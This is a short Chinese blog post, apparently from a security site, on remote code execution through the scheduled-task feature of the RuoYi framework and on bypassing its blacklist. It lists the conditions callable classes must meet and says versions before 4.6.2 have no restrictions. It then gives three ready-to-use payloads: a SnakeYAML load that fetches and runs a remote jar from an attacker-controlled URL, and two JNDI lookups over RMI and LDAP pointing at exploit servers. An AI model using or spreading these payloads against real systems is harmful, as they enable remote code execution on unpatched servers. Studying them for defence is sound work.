某依rce黑名单多种bypass方法分析

若依的rce点有两处,一处是定时任务,另外一处是thymeleaf的模板注入,本文着重针对定时任务的黑名单绕过

rce的原理剖析其他师傅的文章曾经讲的很明白了,此文不过多赘述

若依的定时任务为我们提供了能够执行某些类的某些办法,这些类办法必需满足以下条件

  • 具有无参结构办法
  • 调用的办法需求是类本身声明的办法,不能是他的父类办法
  • 结构办法和调用的办法均为 public

<4.6.2

这个版本之前无任何限制,可直接运用公开poc打

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')

org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞13赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像出擦0